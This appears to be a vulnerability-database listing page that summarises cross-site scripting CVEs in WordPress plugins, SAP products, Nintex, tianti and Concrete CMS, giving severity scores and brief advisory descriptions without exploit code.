The XV Random Quotes WordPress plugin through 1.40 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. [CVSS 7.1 HIGH]

WordPress XSS
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM This Month

The ProductDyno plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘res’ parameter in all versions up to, and including, 1.0.24 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]

WordPress XSS
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Due to insufficient input validation, SAP Commerce (Swagger UI) allows an unauthenticated attacker to inject the malicious code from remote sources, which can be leveraged by an attacker to execute a cross-site scripting (XSS) attack. [CVSS 8.8 HIGH]

XSS RCE
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

User management functionality in SAP NetWeaver Application Server Java is vulnerable to Stored Cross-Site Scripting (XSS). [CVSS 5.4 MEDIUM]

XSS Java Information Disclosure
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

SAP NetWeaver Application Server ABAP does not sufficiently encode user-controlled inputs, leading to DOM-basedCross-Site Scripting (XSS) vulnerability. This allows an attacker with no privileges, to craft a malicious web message that exploits WEBGUI functionality. [CVSS 6.1 MEDIUM]

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

SAP BusinessObjects Business Intelligence Platform (Web Intelligence) contains a deprecated web application endpoint that is not properly secured. An attacker could take advantage of this by injecting a malicious url in the data returned to the user. [CVSS 5.4 MEDIUM]

XSS SAP
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

SAP NetWeaver Application Server ABAP allows malicious scripts to be executed in the application, potentially leading to a Cross-Site Scripting (XSS) vulnerability. This has no impact on the availability of the application, but it can have some minor impact on its confidentiality and integrity. [CVSS 6.1 MEDIUM]

XSS
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform allows an attacker to inject JavaScript code in Web Intelligence reports. This code is then executed in the victim's browser each time the vulnerable page is visited by the victim. [CVSS 4.7 MEDIUM]

XSS SAP
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Nintex Automation 5.6 and 5.7 versions up to 5.8 is affected by cross-site scripting (xss) (CVSS 5.4).

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in tianti v2.3 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the coverImageURL parameter at /article/ajax/save. [CVSS 5.4 MEDIUM]

XSS
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 versions up to 9.3.9 is affected by improper input validation (CVSS 4.8).

XSS
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40696

Related CWEs

MITRE ATT&CK

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